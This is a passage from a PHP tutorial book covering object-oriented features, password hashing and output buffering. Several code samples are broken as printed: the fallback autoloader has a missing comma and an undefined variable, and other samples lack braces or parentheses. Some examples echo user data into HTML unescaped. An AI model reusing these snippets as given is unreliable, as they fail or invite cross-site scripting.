defined by the child (or the child itself must also be marked abstract); additionally, these methods must be defined
with the same (or a less restricted) visibility. For example, if the abstract method is defined as protected, the
function implementation must be defined as either protected or public, but not private.

Taken from the PHP Documentation for Class Abstraction.

If you do not define the parent abstract classes methods within the child class, you will be thrown a Fatal PHP
Error like the following.

Fatal error: Class X contains 1 abstract method and must therefore be declared abstract or implement the
remaining methods (X::x) in

Section 12.3: Late static binding

In PHP 5.3+ and above you can utilize late static binding to control which class a static property or method is called
from. It was added to overcome the problem inherent with the self:: scope resolutor. Take the following code

class Horse {
public static function whatToSay() {
echo 'Neigh!';
}

public static function speak() {

self::whatToSay();
}
}

class MrEd extends Horse {

public static function whatToSay() {
echo 'Hello Wilbur!';
}
}

You would expect that the MrEd class will override the parent whatToSay() function. But when we run this we get
something unexpected

Horse::speak(); // Neigh!
MrEd::speak(); // Neigh!

The problem is that self::whatToSay(); can only refer to the Horse class, meaning it doesn't obey MrEd. If we
switch to the static:: scope resolutor, we don't have this problem. This newer method tells the class to obey the
instance calling it. Thus we get the inheritance we're expecting

Complete PHP Tips & Secrets for Professionals 60

class Horse {
public static function whatToSay() {
echo 'Neigh!';
}

public static function speak() {

static::whatToSay(); // Late Static Binding
}
}

Horse::speak(); // Neigh!
MrEd::speak(); // Hello Wilbur!

Section 12.4: Namespacing and Autoloading

Technically, autoloading works by executing a callback when a PHP class is required but not found. Such callbacks
usually attempt to load these classes.

Generally, autoloading can be understood as the attempt to load PHP files (especially PHP class files, where a PHP
source file is dedicated for a specific class) from appropriate paths according to the class's fully-qualified name
(FQN) when a class is needed.

Suppose we have these classes:

Class file for application\controllers\Base:

<?php
namespace application\controllers { class Base {...} }

Class file for application\controllers\Control:

<?php
namespace application\controllers { class Control {...} }

Class file for application\models\Page:

<?php
namespace application\models { class Page {...} }

Under the source folder, these classes should be placed at the paths as their FQNs respectively:

Source folder
applications
controllers
Base.php
Control.php
models
Page.php

This approach makes it possible to programmatically resolve the class file path according to the FQN, using this
function:

function getClassPath(string $sourceFolder, string $className, string $extension = ".php") {

return $sourceFolder . "/" . str_replace("\\", "/", $className) . $extension; // note that "/"
works as a directory separator even on Windows
}

The spl_autoload_register function allows us to load a class when needed using a user-defined function:

Complete PHP Tips & Secrets for Professionals 61

const SOURCE_FOLDER = __DIR__ . "/src";
spl_autoload_register(function (string $className) {
$file = getClassPath(SOURCE_FOLDER, $className);
if (is_readable($file)) require_once $file;
});

This function can be further extended to use fallback methods of loading:

const SOURCE_FOLDERS = [__DIR__ . "/src", "/root/src"]);

spl_autoload_register(function (string $className) {
foreach(SOURCE_FOLDERS as $folder) {
$extensions = [
// do we have src/Foo/Bar.php5_int64?
".php" . PHP_MAJOR_VERSION . "_int" . (PHP_INT_SIZE * 8),
// do we have src/Foo/Bar.php7?
".php" . PHP_MAJOR_VERSION,
// do we have src/Foo/Bar.php_int64?
".php" . "_int" . (PHP_INT_SIZE * 8),
// do we have src/Foo/Bar.phps?
".phps"
// do we have src/Foo/Bar.php?
".php"
];
foreach($extensions as $ext) {
$path = getClassPath($folder, $className, $extension);
if(is_readable($path)) return $path;
}
}
});

Note that PHP doesn't attempt to load the classes whenever a file that uses this class is loaded. It may be loaded in
the middle of a script, or even in shutdown functions . This is one of the reasons why developers, especially those
who use autoloading, should avoid replacing executing source files in the runtime, especially in phar files.

Section 12.5: Method and Property Visibility

There are three visibility types that you can apply to methods (class/object functions) and properties (class/object
variables) within a class, which provide access control for the method or property to which they are applied.

You can read extensively about these in the PHP Documentation for OOP Visibility.

Public

Declaring a method or a property as public allows the method or property to be accessed by:

The class that declared it.

The classes that extend the declared class.
Any external objects, classes, or code outside the class hierarchy.

An example of this public access would be:

class MyClass {
// Property
public $myProperty = 'test';

// Method
public function myMethod() {
return $this->myProperty;
}
}

Complete PHP Tips & Secrets for Professionals 62

$obj = new MyClass();
echo $obj->myMethod();
// Out: test

echo $obj->myProperty;
// Out: test
Protected

Declaring a method or a property as protected allows the method or property to be accessed by:

The class that declared it.

The classes that extend the declared class.

This does not allow external objects, classes, or code outside the class hierarchy to access these methods or
properties. If something using this method/property does not have access to it, it will not be available, and an error
will be thrown. Only instances of the declared self (or subclasses thereof) have access to it.

An example of this protected access would be:

class MyClass {
protected $myProperty = 'test';

protected function myMethod() {

return $this->myProperty;
}
}

class MySubClass extends MyClass {

public function run() {
echo $this->myMethod();
}
}

$obj = new MySubClass();

$obj->run(); // This will call MyClass::myMethod();
// Out: test

$obj->myMethod(); // This will fail.

// Out: Fatal error: Call to protected method MyClass::myMethod() from context ''

The example above notes that you can only access the protected elements within it's own scope. Essentially: "What's in
the house can only be access from inside the house."

Private

Declaring a method or a property as private allows the method or property to be accessed by:

The class that declared it Only (not subclasses).

A private method or property is only visible and accessible within the class that created it.

Note that objects of the same type will have access to each others private and protected members even though
they are not the same instances.

class MyClass {
private $myProperty = 'test';

private function myPrivateMethod() {

return $this->myProperty;

Complete PHP Tips & Secrets for Professionals 63

 }

public function myPublicMethod() {

return $this->myPrivateMethod();
}

public function modifyPrivatePropertyOf(MyClass $anotherInstance) {

$anotherInstance->myProperty = "new value";
}
}

class MySubClass extends MyClass {

public function run() {
echo $this->myPublicMethod();
}

public function runWithPrivate() {

echo $this->myPrivateMethod();
}
}

$obj = new MySubClass();

$newObj = new MySubClass();

// This will call MyClass::myPublicMethod(), which will then call

// MyClass::myPrivateMethod();
$obj->run();
// Out: test

$obj->modifyPrivatePropertyOf($newObj);

$newObj->run();
// Out: new value

echo $obj->myPrivateMethod(); // This will fail.

// Out: Fatal error: Call to private method MyClass::myPrivateMethod() from context ''

echo $obj->runWithPrivate(); // This will also fail.

// Out: Fatal error: Call to private method MyClass::myPrivateMethod() from context 'MySubClass'

As noted, you can only access the private method/property from within it's defined class.

Section 12.6: Interfaces

Introduction

Interfaces are definitions of the public APIs classes must implement to satisfy the interface. They work as
"contracts", specifying what a set of subclasses does, but not how they do it.

Interface definition is much alike class definition, changing the keyword class to interface:

interface Foo {

Interfaces can contain methods and/or constants, but no attributes. Interface constants have the same restrictions
as class constants. Interface methods are implicitly abstract:

interface Foo {
const BAR = 'BAR';

Complete PHP Tips & Secrets for Professionals 64

 public function doSomething($param1, $param2);
}

Note: interfaces must not declare constructors or destructors, since these are implementation details on the class
level.

Realization

Any class that needs to implement an interface must do so using the implements keyword. To do so, the class
needs to provide a implementation for every method declared in the interface, respecting the same signature.

A single class can implement more than one interface at a time.

interface Foo {
public function doSomething($param1, $param2);
}

interface Bar {
public function doAnotherThing($param1);
}

class Baz implements Foo, Bar {

public function doSomething($param1, $param2) {
// ...
}

public function doAnotherThing($param1) {

// ...
}
}

When abstract classes implement interfaces, they do not need to implement all methods. Any method not
implemented in the base class must then be implemented by the concrete class that extends it:

abstract class AbstractBaz implements Foo, Bar {

// Partial implementation of the required interface...
public function doSomething($param1, $param2) {
// ...
}
}

class Baz extends AbstractBaz {

public function doAnotherThing($param1) {
// ...
}
}

Notice that interface realization is an inherited characteristic. When extending a class that implements an interface,
you do not need to redeclare it in the concrete class, because it is implicit.

Note: Prior to PHP 5.3.9, a class could not implement two interfaces that specified a method with the same name,
since it would cause ambiguity. More recent versions of PHP allow this as long as the duplicate methods have the
same signature[1].

Inheritance

Like classes, it is possible to establish an inheritance relationship between interfaces, using the same keyword
extends. The main difference is that multiple inheritance is allowed for interfaces:

Complete PHP Tips & Secrets for Professionals 65

interface Foo {

interface Bar {

interface Baz extends Foo, Bar {

}
Examples

In the example bellow we have a simple example interface for a vehicle. Vehicles can go forwards and backwards.

interface VehicleInterface {
public function forward();

public function reverse();

...
}

class Bike implements VehicleInterface {

public function forward() {
$this->pedal();
}

public function reverse() {

$this->backwardSteps();
}

protected function pedal() {

...
}

protected function backwardSteps() {

...
}

...
}

class Car implements VehicleInterface {

protected $gear = 'N';

public function forward() {

$this->setGear(1);
$this->pushPedal();
}

public function reverse() {

$this->setGear('R');
$this->pushPedal();
}

protected function setGear($gear) {

$this->gear = $gear;
}

protected function pushPedal() {

...

Complete PHP Tips & Secrets for Professionals 66

 }

...
}

Then we create two classes that implement the interface: Bike and Car. Bike and Car internally are very different,
but both are vehicles, and must implement the same public methods that VehicleInterface provides.

Typehinting allows methods and functions to request Interfaces. Let's assume that we have a parking garage class,
which contains vehicles of all kinds.

class ParkingGarage {
protected $vehicles = [];

public function addVehicle(VehicleInterface $vehicle) {

$this->vehicles[] = $vehicle;
}
}

Because addVehicle requires a $vehicle of type VehicleInterface—not a concrete implementation—we can

input both Bikes and Cars, which the ParkingGarage can manipulate and use.

Section 12.7: Final Keyword

Def: Final Keyword prevents child classes from overriding a method by prefixing the definition with final. If the class
itself is being defined final then it cannot be extended

Final Method

class BaseClass {
public function test() {
echo "BaseClass::test() called\n";
}

final public function moreTesting() {

echo "BaseClass::moreTesting() called\n";
}
}

class ChildClass extends BaseClass {

public function moreTesting() {
echo "ChildClass::moreTesting() called\n";
}
}
// Results in Fatal error: Cannot override final method BaseClass::moreTesting()

Final Class:

final class BaseClass {

public function test() {
echo "BaseClass::test() called\n";
}

// Here it doesn't matter if you specify the function as final or not

final public function moreTesting() {
echo "BaseClass::moreTesting() called\n";
}
}

class ChildClass extends BaseClass {

}

Complete PHP Tips & Secrets for Professionals 67

// Results in Fatal error: Class ChildClass may not inherit from final class (BaseClass)

Final constants: Unlike Java, the final keyword is not used for class constants in PHP. Use the keyword const
instead.

Why do I have to use final?

1. Preventing massive inheritance chain of doom

2. Encouraging composition
3. Force the developer to think about user public API
4. Force the developer to shrink an object's public API
5. A final class can always be made extensible
6. extends breaks encapsulation
7. You don't need that flexibility
8. You are free to change the code

When to avoid final: Final classes only work effectively under following assumptions:

1. There is an abstraction (interface) that the final class implements

2. All of the public API of the final class is part of that interface

Section 12.8: Autoloading

Nobody wants to require or include every time a class or inheritance is used. Because it can be painful and is easy
to forget, PHP is offering so called autoloading. If you are already using Composer, read about autoloading using
Composer.

What exactly is autoloading?

The name basically says it all. You do not have to get the file where the requested class is stored in, but PHP
automatically loads it.

How can I do this in basic PHP without third party code?

There is the function __autoload, but it is considered better practice to use spl_autoload_register. These
functions will be considered by PHP every time a class is not defined within the given space. So adding autoload to
an existing project is no problem, as defined classes (via require i.e.) will work like before. For the sake of
preciseness, the following examples will use anonymous functions, if you use PHP < 5.3, you can define the function
and pass it's name as argument to spl_autoload_register.

Examples

spl_autoload_register(function ($className) {
$path = sprintf('%s.php', $className);
if (file_exists($path)) {
include $path;
} else {
// file not found
}
});

The code above simply tries to include a filename with the class name and the appended extension ".php" using
sprintf. If FooBar needs to be loaded, it looks if FooBar.php exists and if so includes it.

Of course this can be extended to fit the project's individual need. If _ inside a class name is used to group, e.g.
User_Post and User_Image both refer to User, both classes can be kept in a folder called "User" like so:

Complete PHP Tips & Secrets for Professionals 68

spl_autoload_register(function ($className) {
// replace _ by / or \ (depending on OS)
$path = sprintf('%s.php', str_replace('_', DIRECTORY_SEPARATOR, $className) );
if (file_exists($path)) {
include $path;
} else {
// file not found
}
});

The class User_Post will now be loaded from "User/Post.php", etc.

spl_autoload_register can be tailored to various needs. All your files with classes are named
"class.CLASSNAME.php"? No problem. Various nesting (User_Post_Content => "User/Post/Content.php")? No
problem either.

If you want a more elaborate autoloading mechanism - and still don't want to include Composer - you can work
without adding third party libraries.

spl_autoload_register(function ($className) {
$path = sprintf('%1$s%2$s%3$s.php',
// %1$s: get absolute path
realpath(dirname(__FILE__)),
// %2$s: / or \ (depending on OS)
DIRECTORY_SEPARATOR,
// %3$s: don't wory about caps or not when creating the files
strtolower(
// replace _ by / or \ (depending on OS)
str_replace('_', DIRECTORY_SEPARATOR, $className)
)
);

if (file_exists($path)) {
include $path;
} else {
throw new Exception(
sprintf('Class with name %1$s not found. Looked in %2$s.',
$className,
$path
)
);
}
});

Using autoloaders like this, you can happily write code like this:

require_once './autoload.php'; // where spl_autoload_register is defined

$foo = new Foo_Bar(new Hello_World());

Using classes:

class Foo_Bar extends Foo {}

class Hello_World implements Demo_Classes {}

These examples will be include classes from foo/bar.php, foo.php, hello/world.php and demo/classes.php.

Section 12.9: Calling a parent constructor when instantiating a child

A common pitfall of child classes is that, if your parent and child both contain a constructor(__construct())
method, only the child class constructor will run. There may be occasions where you need to run the parent

Complete PHP Tips & Secrets for Professionals 69

__construct() method from it's child. If you need to do that, then you will need to use the parent:: scope
resolutor:

parent::__construct();

Now harnessing that within a real-world situation would look something like:

class Foo {

function __construct($args) {
echo 'parent';
}

class Bar extends Foo {

function __construct($args) {
parent::__construct($args);
}
}

The above will run the parent __construct() resulting in the echo being run.

Section 12.10: Dynamic Binding

Dynamic binding, also referred as method overriding is an example of run time polymorphism that occurs when
multiple classes contain different implementations of the same method, but the object that the method will be
called on is unknown until run time.

This is useful if a certain condition dictates which class will be used to perform an action, where the action is named
the same in both classes.

interface Animal {
public function makeNoise();
}

class Cat implements Animal {

public function makeNoise
{
$this->meow();
}
...
}

class Dog implements Animal {

public function makeNoise {
$this->bark();
}
...
}

class Person {
const CAT = 'cat';
const DOG = 'dog';

private $petPreference;
private $pet;

public function isCatLover(): bool {

return $this->petPreference == self::CAT;

Complete PHP Tips & Secrets for Professionals 70

 }

public function isDogLover(): bool {

return $this->petPreference == self::DOG;
}

public function setPet(Animal $pet) {

$this->pet = $pet;
}

public function getPet(): Animal {

return $this->pet;
}
}

if($person->isCatLover()) {
$person->setPet(new Cat());
} else if($person->isDogLover()) {
$person->setPet(new Dog());
}

$person->getPet()->makeNoise();

In the above example, the Animal class (Dog|Cat) which will makeNoise is unknown until run time depending on the
property within the User class.

Section 12.11: $this, self and static plus the singleton

Use $this to refer to the current object. Use self to refer to the current class. In other words, use $this->member
for non-static members, use self::$member for static members.

In the example below, sayHello() and sayGoodbye() are using self and $this difference can be observed here.

class Person {
private $name;

public function __construct($name) {

$this->name = $name;
}

public function getName() {

return $this->name;
}

public function getTitle() {

return $this->getName()." the person";
}

public function sayHello() {

echo "Hello, I'm ".$this->getTitle()."<br/>";
}

public function sayGoodbye() {

echo "Goodbye from ".self::getTitle()."<br/>";
}
}

class Geek extends Person {

public function __construct($name) {
parent::__construct($name);
}

Complete PHP Tips & Secrets for Professionals 71

 public function getTitle() {
return $this->getName()." the geek";
}
}

$geekObj = new Geek("Ludwig");

$geekObj->sayHello();
$geekObj->sayGoodbye();

static refers to whatever class in the hierarchy you called the method on. It allows for better reuse of static class
properties when classes are inherited.

Consider the following code:

class Car {
protected static $brand = 'unknown';

public static function brand() {

return self::$brand."\n";
}
}

class Mercedes extends Car {

protected static $brand = 'Mercedes';
}

class BMW extends Car {

protected static $brand = 'BMW';
}

echo (new Car)->brand();

echo (new BMW)->brand();
echo (new Mercedes)->brand();

This doesn't produce the result you want:

unknown
unknown
unknown

That's because self refers to the Car class whenever method brand() is called.

To refer to the correct class, you need to use static instead:

class Car {
protected static $brand = 'unknown';

public static function brand() {

return static::$brand."\n";
}
}

class Mercedes extends Car {

protected static $brand = 'Mercedes';
}

class BMW extends Car {

protected static $brand = 'BMW';
}

echo (new Car)->brand();

Complete PHP Tips & Secrets for Professionals 72

echo (new BMW)->brand();
echo (new Mercedes)->brand();

This does produce the desired output:

unknown
BMW
Mercedes

See also Late static binding

The singleton

If you have an object that's expensive to create or represents a connection to some external resource you want to
reuse, i.e. a database connection where there is no connection pooling or a socket to some other system, you can
use the static and self keywords in a class to make it a singleton. There are strong opinions about whether the
singleton pattern should or should not be used, but it does have its uses.

class Singleton {
private static $instance = null;

public static function getInstance(){

if(!isset(self::$instance)){
self::$instance = new self();
}

return self::$instance;
}

private function __construct() {

// Do constructor stuff
}
}

As you can see in the example code we are defining a private static property $instance to hold the object
reference. Since this is static this reference is shared across ALL objects of this type.

The getInstance()method uses a method know as lazy instantiation to delay creating the object to the last
possible moment as you do not want to have unused objects lying around in memory never intended to be used. It
also saves time and CPU on page load not having to load more objects than necessary. The method is checking if
the object is set, creating it if not, and returning it. This ensures that only one object of this kind is ever created.

We are also setting the constructor to be private to ensure that no one creates it with the new keyword from the
outside. If you need to inherit from this class just change the private keywords to protected.

To use this object you just write the following:

$singleton = Singleton::getInstance();

Now I DO implore you to use dependency injection where you can and aim for loosely coupled objects, but
sometimes that is just not reasonable and the singleton pattern can be of use.

Section 12.12: Defining a Basic Class

An object in PHP contains variables and functions. Objects typically belong to a class, which defines the variables
and functions that all objects of this class will contain.

The syntax to define a class is:

Complete PHP Tips & Secrets for Professionals 73

class Shape {
public $sides = 0;

public function description() {

return "A shape with $this->sides sides.";
}
}

Once a class is defined, you can create an instance using:

$myShape = new Shape();

Variables and functions on the object are accessed like this:

$myShape = new Shape();

$myShape->sides = 6;

print $myShape->description(); // "A shape with 6 sides"

Constructor

Classes can define a special __construct() method, which is executed as part of object creation. This is often used
to specify the initial values of an object:

class Shape {
public $sides = 0;

public function __construct($sides) {

$this->sides = $sides;
}

public function description() {

return "A shape with $this->sides sides.";
}
}

$myShape = new Shape(6);

print $myShape->description(); // A shape with 6 sides

Extending Another Class

Class definitions can extend existing class definitions, adding new variables and functions as well as modifying
those defined in the parent class.

Here is a class that extends the previous example:

class Square extends Shape {

public $sideLength = 0;

public function __construct($sideLength) {

parent::__construct(4);

$this->sideLength = $sideLength;
}

public function perimeter() {

return $this->sides * $this->sideLength;
}

public function area() {

return $this->sideLength * $this->sideLength;
}

Complete PHP Tips & Secrets for Professionals 74

}

The Square class contains variables and behavior for both the Shape class and the Square class:

$mySquare = new Square(10);

print $mySquare->description()/ // A shape with 4 sides

print $mySquare->perimeter() // 40

print $mySquare->area() // 100

Section 12.13: Anonymous Classes

Anonymous classes were introduced into PHP 7 to enable for quick one-off objects to be easily created. They can
take constructor arguments, extend other classes, implement interfaces, and use traits just like normal classes can.

In its most basic form, an anonymous class looks like the following:

new class("constructor argument") {

public function __construct($param) {
var_dump($param);
}
}; // string(20) "constructor argument"

Nesting an anonymous class inside of another class does not give it access to private or protected methods or
properties of that outer class. Access to protected methods and properties of the outer class can be gained by
extending the outer class from the anonymous class. Access to private properties of the outer class can be gained
by passing them through to the anonymous class's constructor.

For example:

class Outer {
private $prop = 1;
protected $prop2 = 2;

protected function func1() {

return 3;
}

public function func2() {

// passing through the private $this->prop property
return new class($this->prop) extends Outer {
private $prop3;

public function __construct($prop) {

$this->prop3 = $prop;
}

public function func3() {

// accessing the protected property Outer::$prop2
// accessing the protected method Outer::func1()
// accessing the local property self::$prop3 that was private from Outer::$prop
return $this->prop2 + $this->func1() + $this->prop3;
}
};
}
}

echo (new Outer)->func2()->func3(); // 6

Complete PHP Tips & Secrets for Professionals 75

Chapter 13: Password Hashing Functions
string password_hash ( string $password , integer $algo [, array $options ] )
boolean password_verify ( string $password , string $hash )
boolean password_needs_rehash ( string $hash , integer $algo [, array $options ] )
array password_get_info ( string $hash )

As more secure web services avoid storing passwords in plain text format, languages such as PHP provide various
(undecryptable) hash functions to support the more secure industry standard. This topic provides documentation
for proper hashing with PHP.

Section 13.1: Creating a password hash

Create password hashes using password_hash() to use the current industry best-practice standard hash or key
derivation. At time of writing, the standard is bcrypt, which means, that PASSWORD_DEFAULT contains the same value
as PASSWORD_BCRYPT.

$options = [
'cost' => 12,
];

$hashedPassword = password_hash($plaintextPassword, PASSWORD_DEFAULT, $options);

The third parameter is not mandatory.

The 'cost' value should be chosen based on your production server's hardware. Increasing it will make the
password more costly to generate. The costlier it is to generate the longer it will take anyone trying to crack it to
generate it also. The cost should ideally be as high as possible, but in practice it should be set so it does not slow
down everything too much. Somewhere between 0.1 and 0.4 seconds would be okay. Use the default value if you
are in doubt.

Version<5.5

On PHP lower than 5.5.0 the password_* functions are not available. You should use the compatibility pack to
substitute those functions. Notice the compatibility pack requires PHP 5.3.7 or higher or a version that has the $2y
fix backported into it (such as RedHat provides).

If you are not able to use those, you can implement password hashing with crypt() As password_hash() is
implemented as a wrapper around the crypt() function, you need not lose any functionality.

// this is a simple implementation of a bcrypt hash otherwise compatible

// with `password_hash()`
// not guaranteed to maintain the same cryptographic strength of the full `password_hash()`
// implementation

// if `CRYPT_BLOWFISH` is 1, that means bcrypt (which uses blowfish) is available

// on your system
if (CRYPT_BLOWFISH == 1) {
$salt = mcrypt_create_iv(16, MCRYPT_DEV_URANDOM);
$salt = base64_encode($salt);
// crypt uses a modified base64 variant
$source = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
$dest = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
$salt = strtr(rtrim($salt, '='), $source, $dest);
$salt = substr($salt, 0, 22);
// `crypt()` determines which hashing algorithm to use by the form of the salt string
// that is passed in
$hashedPassword = crypt($plaintextPassword, '$2y$10$'.$salt.'$');

Complete PHP Tips & Secrets for Professionals 76

}
Salt for password hash

Despite of reliability of crypt algorithm there is still vulnerability against rainbow tables. That's the reason, why it's
recommended to use salt.

A salt is something that is appended to the password before hashing to make source string unique. Given two
identical passwords, the resulting hashes will be also unique, because their salts are unique.

A random salt is one of the most important pieces of your password security. This means that even with a lookup
table of known password hashes an attacker can’t match up your user’s password hash with the database
password hashes since a random salt has been used. You should use always random and cryptographically secure
salts. Read more

With password_hash() bcrypt algorithm, plain text salt is stored along with the resulting hash, which means that
the hash can be transferred across different systems and platforms and still be matched against the original
password.

Version<7.0

Even when this is discouraged, you can use the salt option to define your own random salt.

$options = [
'salt' => $salt, //see example below
];

Important. If you omit this option, a random salt will be generated by password_hash() for each password hashed.
This is the intended mode of operation.

Version≥7.0

The salt option has been deprecated as of PHP 7.0.0. It is now preferred to simply use the salt that is generated by
default.

Section 13.2: Determine if an existing password hash can be upgraded to a

stronger algorithm
If you are using the PASSWORD_DEFAULT method to let the system choose the best algorithm to hash your passwords
with, as the default increases in strength you may wish to rehash old passwords as users log in

<?php
// first determine if a supplied password is valid
if (password_verify($plaintextPassword, $hashedPassword)) {

// now determine if the existing hash was created with an algorithm that is
// no longer the default
if (password_needs_rehash($hashedPassword, PASSWORD_DEFAULT)) {

// create a new hash with the new default

$newHashedPassword = password_hash($plaintextPassword, PASSWORD_DEFAULT);

// and then save it to your data store

//$db->update(...);
}
}
?>

If the password_* functions are not available on your system (and you cannot use the compatibility pack linked in

Complete PHP Tips & Secrets for Professionals 77

the remarks below), you can determine the algorithm and used to create the original hash in a method similar to
the following:

<?php
if (substr($hashedPassword, 0, 4) == '$2y$' && strlen($hashedPassword) == 60) {
echo 'Algorithm is Bcrypt';
// the "cost" determines how strong this version of Bcrypt is
preg_match('/\$2y\$(\d+)\$/', $hashedPassword, $matches);
$cost = $matches[1];
echo 'Bcrypt cost is '.$cost;
}
?>

Section 13.3: Verifying a password against a hash

password_verify() is the built-in function provided (as of PHP 5.5) to verify the validity of a password against a
known hash.

<?php
if (password_verify($plaintextPassword, $hashedPassword)) {
echo 'Valid Password';
}
else {
echo 'Invalid Password.';
}
?>

All supported hashing algorithms store information identifying which hash was used in the hash itself, so there is
no need to indicate which algorithm you are using to encode the plaintext password with.

If the password_* functions are not available on your system (and you cannot use the compatibility pack linked in
the remarks below) you can implement password verification with the crypt() function. Please note that specific
precautions must be taken to avoid timing attacks.

<?php
// not guaranteed to maintain the same cryptographic strength of the full `password_hash()`
// implementation
if (CRYPT_BLOWFISH == 1) {
// `crypt()` discards all characters beyond the salt length, so we can pass in
// the full hashed password
$hashedCheck = crypt($plaintextPassword, $hashedPassword);

// this a basic constant-time comparison based on the full implementation used

// in `password_hash()`
$status = 0;
for ($i=0; $i<strlen($hashedCheck); $i++) {
$status |= (ord($hashedCheck[$i]) ^ ord($hashedPassword[$i]));
}

if ($status === 0) {
echo 'Valid Password';
}
else {
echo 'Invalid Password';
}
}
?>

Complete PHP Tips & Secrets for Professionals 78

Chapter 14: Output Buering
Function Details
ob_start() Starts the output buffer, any output placed after this will be captured and not displayed
ob_get_contents() Returns all content captured by ob_start()
ob_end_clean() Empties the output buffer and turns it off for the current nesting level
ob_get_clean() Triggers both ob_get_contents() and ob_end_clean()
ob_get_level() Returns the current nesting level of the output buffer
ob_flush() Flush the content buffer and send it to the browser without ending the buffer
ob_implicit_flush() Enables implicit flushing after every output call.
ob_end_flush() Flush the content buffer and send it to the browser also ending the buffer

Section 14.1: Basic usage getting content between buers and clearing
Output buffering allows you to store any textual content (Text, HTML) in a variable and send to the browser as one
piece at the end of your script. By default, php sends your content as it interprets it.

<?php

// Turn on output buffering

ob_start();

// Print some output to the buffer (via php)

print 'Hello ';

// You can also `step out` of PHP

?>
<em>World</em>
<?php
// Return the buffer AND clear it
$content = ob_get_clean();

// Return our buffer and then clear it

# $content = ob_get_contents();
# $did_clear_buffer = ob_end_clean();

print($content);

#> "Hello <em>World</em>"

Any content outputted between ob_start() and ob_get_clean() will be captured and placed into the variable
$content.

Calling ob_get_clean() triggers both ob_get_contents() and ob_end_clean().

Section 14.2: Processing the buer via a callback

You can apply any kind of additional processing to the output by passing a callable to ob_start().

<?php
function clearAllWhiteSpace($buffer) {
return str_replace(array("\n", "\t", ' '), '', $buffer);
}

ob_start('clearAllWhiteSpace');
?>
<h1>Lorem Ipsum</h1>

<p><strong>Pellentesque habitant morbi tristique</strong> senectus et netus et malesuada fames ac

turpis egestas. <a href="#">Donec non enim</a> in turpis pulvinar facilisis.</p>

Complete PHP Tips & Secrets for Professionals 79

<h2>Header Level 2</h2>

<ol>
<li>Lorem ipsum dolor sit amet, consectetuer adipiscing elit.</li>
<li>Aliquam tincidunt mauris eu risus.</li>
</ol>

<?php
/* Output will be flushed and processed when script ends or call
ob_end_flush();
*/

Output:

<h1>LoremIpsum</h1><p><strong>Pellentesquehabitantmorbitristique</strong>senectusetnetusetmalesuada
famesacturpisegestas.<ahref="#">Donecnonenim</a>inturpispulvinarfacilisis.</p><h2>HeaderLevel2</h2>
<ol><li>Loremipsumdolorsitamet,consectetueradipiscingelit.</li><li>Aliquamtinciduntmauriseurisus.</
li></ol>

Section 14.3: Nested output buers

You can nest output buffers and fetch the level for them to provide different content using the ob_get_level()
function.

<?php

$i = 1;
$output = null;

while( $i <= 5 ) {
// Each loop, creates a new output buffering `level`
ob_start();
print "Current nest level: ". ob_get_level() . "\n";
$i++;
}

// We're at level 5 now

print 'Ended up at level: ' . ob_get_level() . PHP_EOL;

// Get clean will `pop` the contents of the top most level (5)
$output .= ob_get_clean();
print $output;

print 'Popped level 5, so we now start from 4' . PHP_EOL;

// We're now at level 4 (we pop'ed off 5 above)

// For each level we went up, come back down and get the buffer
while( $i > 2 ) {
print "Current nest level: " . ob_get_level() . "\n";
echo ob_get_clean();
$i--;
}

Outputs:

Current nest level: 1

Current nest level: 2
Current nest level: 3
Current nest level: 4
Current nest level: 5
Ended up at level: 5

Complete PHP Tips & Secrets for Professionals 80

Popped level 5, so we now start from 4
Current nest level: 4
Current nest level: 3
Current nest level: 2
Current nest level: 1

Section 14.4: Running output buer before any content

ob_start();

$user_count = 0;
foreach( $users as $user ) {
if( $user['access'] != 7 ) { continue; }
?>
<li class="users user-<?php echo $user['id']; ?>">
<a href="<?php echo $user['link']; ?>">
<?php echo $user['name'] ?>
</a>
</li>
<?php
$user_count++;
}
$users_html = ob_get_clean();

if( !$user_count ) {
header('Location: /404.php');
exit();
}
?>
<html>
<head>
<title>Level 7 user results (<?php echo $user_count; ?>)</title>
</head>

<body>
<h2>We have a total of <?php echo $user_count; ?> users with access level 7</h2>
<ul class="user-list">
<?php echo $users_html; ?>
</ul>
</body>
</html>

In this example we assume $users to be a multidimensional array, and we loop through it to find all users with an
access level of 7.

If there are no results, we redirect to an error page.

We are using the output buffer here because we are triggering a header() redirect based on the result of the loop

Section 14.5: Stream output to client

/**
* Enables output buffer streaming. Calling this function
* immediately flushes the buffer to the client, and any
* subsequent output will be sent directly to the client.
*/
function _stream() {
ob_implicit_flush(true);
ob_end_flush();
}

Complete PHP Tips & Secrets for Professionals 81

Section 14.6: Using Output buer to store contents in a file, useful for
reports, invoices etc
<?php
ob_start();
?>
<html>
<head>
<title>Example invoice</title>
</head>
<body>
<h1>Invoice #0000</h1>
<h2>Cost: &pound;15,000</h2>
...
</body>
</html>
<?php
$html = ob_get_clean();

$handle = fopen('invoices/example-invoice.html', 'w');

fwrite($handle, $html);
fclose($handle);

This example takes the complete document, and writes it to file, it does not output the document into the browser,
but do by using echo $html;

Section 14.7: Typical usage and reasons for using ob_start

ob_start is especially handy when you have redirections on your page. For example, the following code won't work:

Hello!
<?php
header("Location: somepage.php");
?>

The error that will be given is something like: headers already sent by <xxx> on line <xxx>.

In order to fix this problem, you would write something like this at the start of your page:

<?php
ob_start();
?>

And something like this at the end of your page:

<?php
ob_end_flush();
?>

This stores all generated content into an output buffer, and displays it in one go. Hence, if you have any redirection
calls on your page, those will trigger before any data is sent, removing the possibility of a headers already sent
error occurring.

Section 14.8: Capturing the output buer to re-use later

In this example, we have an array containing some data.

We capture the output buffer in $items_li_html and use it twice in the page.

<?php

Complete PHP Tips & Secrets for Professionals 82

// Start capturing the output
ob_start();

$items = ['Home', 'Blog', 'FAQ', 'Contact'];

foreach($items as $item):

// Note we're about to step "out of PHP land"

?>
<li><?php echo $item ?></li>
<?php
// Back in PHP land
endforeach;

// $items_lists contains all the HTML captured by the output buffer

$items_li_html = ob_get_clean();
?>

<!-- Menu 1: We can now re-use that (multiple times if required) in our HTML. -->
<ul class="header-nav">
<?php echo $items_li_html ?>
</ul>

<!-- Menu 2 -->

<ul class="footer-nav">
<?php echo $items_li_html ?>
</ul>

Save the above code in a file output_buffer.php and run it via php output_buffer.php.

You should see the 2 list items we created above with the same list items we generated in PHP using the output
buffer:

<!-- Menu 1: We can now re-use that (multiple times if required) in our HTML. -->
<ul class="header-nav">
<li>Home</li>
<li>Blog</li>
<li>FAQ</li>
